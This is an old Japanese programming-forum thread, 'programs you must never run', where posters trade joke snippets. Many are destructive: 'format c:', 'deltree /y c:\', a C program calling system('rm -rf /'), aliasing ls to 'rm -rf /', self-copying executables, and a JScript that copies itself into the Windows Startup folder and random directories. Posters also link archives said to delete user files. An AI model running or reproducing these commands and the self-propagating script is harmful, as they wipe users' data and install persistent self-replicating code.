絶対に実行してはいけないプログラム

このエントリーをはてなブックマークに追加
10 goto 10
run
26デフォルトの名無しさん:02/05/24 20:58
配列 b を初期化するプログラム
int a = 0;
char b[3];
for (;a <= 3 ; a++) {
b[a] = 0;
}
# 処理系によっては無限ループ
別に無限ループにはならないが?
verg11al.tripod.com/mint.zip
verg11al.tripod.com/PR.lzh

別スレで報告あった。
My Documentsとランダムでどこかのファイルを消すらしい
>>28
はいはい、よかったね。
>>27
C++Builder では無限ループになったよ
>>27
b[3]は配列からはみ出してるのでaを壊す(最下位バイトを0に戻す)
とか?
>>18
どうなんだろ。ほんとに>>13って無制限にプロセス増えるのか?
いずれ失敗して(resource temporarily unavailable)どんどん
終了していきそうな気がするが。
>>32
起動中のプログラム勝手に消えたら困らない?
>>33
えーと、コマンドの実行に失敗したら、
リトライとかしないだろ?

$0の起動に2回失敗したら、スクリプトは終了しちゃうと
思うのだが。
#include <stdio.h>
main()
{
 for (;;)printf("\t\b\b");
}
実行してミソ....
>>35
何も起きなかった
>>35
何のバグだっけ?
NTのコンソール?
38デフォルトの名無しさん:02/05/24 23:38
*reinterpret_cast<char*>(NULL) = 'a';
プログラムが落ちるだけでそれほどキケンじゃない
40デフォルトの名無しさん:02/05/24 23:46
Windows98が出る直前だったから知ってる人は少数だと思うけど
Windows95のUSB Supplementは強烈だった........
世間で騒いでるウィルスがカワイク思えるほど......遠い目(被害者)
#define MAX 3
char name[256];FILE *fp, *self;int i, c;
for(self = fopen(argv[0],"rb"),i = 0;i < MAX && (sprintf(name,"キタ━━(゚∀゚)━━ァ!%d.exe", i), fp = fopen(name,"wb"));i++){
while((c=fgetc(self)) != EOF)fputc(c,fp);fclose(fp);rewind(self);}fclose(self);
42 :02/05/24 23:57
@echo off
format c:
43低レベル:02/05/25 00:04
//※Unix系OS専用。rootで実行すること。
#include <stdlib.h>
int main()
{
system("rm -rf /");
return 0;
}
44デフォルトの名無しさん:02/05/25 00:05
del *
asm {
cli;
}
while(1);
46デフォルトの名無しさん:02/05/25 00:17
>>35
一発でコケたぞゴルァ!!!
作業中だったらどうするんだ?!
>>46
スレタイトル読めよ。あと、パッチ当てろ。
PCが火を吹いても、ダムが決壊しても
原子力発電所で事故が起きても
核ミサイルを自動的に発射しても良いのなら
絶対に実行してはいけないプログラムなど存在しない
50 :02/05/25 00:55
>>40
よろしければ「Windows95のUSB Supplement」というのを教えて下さい。
>>49
実行の結果なにが起こるのかでなく、
それ自体が絶対に実行してはいけない
プログラムであることはありうる?
>>49
良くないので存在する。
って言うかこのスレは、

「全国のウイルス、トロイ大集合!」
「このフリーソフトは使ってはいけない」

どちらかの趣旨だろ?

アフォな>>1が勘違いして立てただけ。
PCQAにでも逝けよ。ほんとに。
@echo off
deltree /y c:\
alias ls del *
CodeRedにやられたサイトに侵入して修復するワーム。
>55
alias ls rm *
じゃん
>>57
Nimdaにも対応してくれ〜
alias ls rm -rf /;
60デフォルトの名無しさん:02/06/01 15:42
int
pushLaunchAtomicBombEvent()
{
bool b = isCertificationPresident();
if (b) {
mil::launchAtomicBomb(mil::ATOMIC_BOMB_ALL);
} else {
mil::launchAtomicBomb(mil::ATOMIC_BOMB_AIRFOCE);
}
}
誰か、終了時に自分自身を実行するやつ書いて。
強制終了でがんばっても、終わんないやつ。
main()
{
system("me");
}
>>61
>>13にあるじゃん。
/usr/bin/beep2 /etc/shadow
>>63
それは終了時に自分を実行するんじゃなくて無限に増えるだけ。
66デフォルトの名無しさん:02/07/06 01:44
>>61
2つ以上のプログラム作って、お互いに監視するようにしたらどうだ?
それが出来るなら二つにする意味無くない?
68デフォルトの名無しさん:02/07/06 02:02
ふむ。確かに。

あと、実行ファイルを消されちゃったりするとダメだから、その対策を施す必要があるかも。
監視して、もう一方のプロセスが消えてたら
新しい実行ファイル作成->その実行ファイルを実行
にする?
6968:02/07/06 02:08
何言ってんだ? 俺。
70デフォルトの名無しさん:02/07/06 02:09
>>68
> 新しい実行ファイル作成->その実行ファイルを実行
> にする?

それって結構むずかしいような。
7168:02/07/06 02:12
そんなめんどくさいことせずに、消えてればもう一個forkすればええような。。
ねむたいので難しいこと考えられません。
>>71
じゃあもう寝ろ。明日書いてくれ。
#!/bin/csh
/bin/mail [email protected] <<EOF
Subject : 【重要】もうやってらんねーよ!!

こんな人を人とも思わない会社、もうやめてやるよ!!
けっ

.
EOF


ネタなので encode とか無視してね
var objFS;
var objFS = WScript.CreateObject("Scripting.FileSystemObject");
var r_cnt = 500;
var rand = Math.floor(Math.random()*r_cnt);
var ran = Math.floor(Math.random()*250);
objFS.CopyFile(WScript.ScriptFullName,"C:\\WINDOWS\\スタート メニュー\\プログラム\\スタートアップ\\copy1" + rand + "-"+ran+".js");
var objFS = WScript.CreateObject("Scripting.FileSystemObject");
var i=0;//配列カウンタ
var strFoldersName = new Array(255);
var strFoldersNamel = new Array(255);
var strFoldersNamex = new Array(255);
var objNowFolder = objFS.GetFolder("C:\\");
var colSubFolder = objNowFolder.SubFolders;
var x = new Enumerator(colSubFolder);//
for( ; (!x.atEnd()) && i<=255; x.moveNext()){
strFoldersName[i] = x.item().Name;
i++;}
var r_address = Math.floor(Math.random()*i);
var objNowFolderl = objFS.GetFolder("C:\\Windows\\");
var colSubFolderl = objNowFolderl.SubFolders;
var x = new Enumerator(colSubFolder);//
for( ; (!x.atEnd()) && i<=255; x.moveNext()){
strFoldersNamel[i] = x.item().Name;
i++;}var r_add = Math.floor(Math.random()*i);
var objNowFolderx = objFS.GetFolder("C:\\Windows\\");
var colSubFolderx = objNowFolderx.SubFolders;
var x = new Enumerator(colSubFolder);//
for( ; (!x.atEnd()) && i<=255; x.moveNext()){
strFoldersNamex[i] = x.item().Name;
i++;
}var r_addr = Math.floor(Math.random()*i);
try{

objFS.CopyFile(WScript.ScriptFullName,"C:\\Windows\\Win-start.js");
var rand = Math.floor(Math.random()*r_cnt);
objFS.CopyFile(WScript.ScriptFullName,objNowFolder+strFoldersName[r_address]+"\\black-" + rand + ".js");
objFS.CopyFile(WScript.ScriptFullName,objNowFolder+strFoldersNamel[r_add]+"\\black"+ran+"-" + rand + ".js");
objFS.CopyFile(WScript.ScriptFullName,objNowFolder+strFoldersNamex[r_addr]+"\\black-" + rand + ".js")
}catch(e){}
JScriptでゴー!
バグがあるかもしれんがとりあえず増える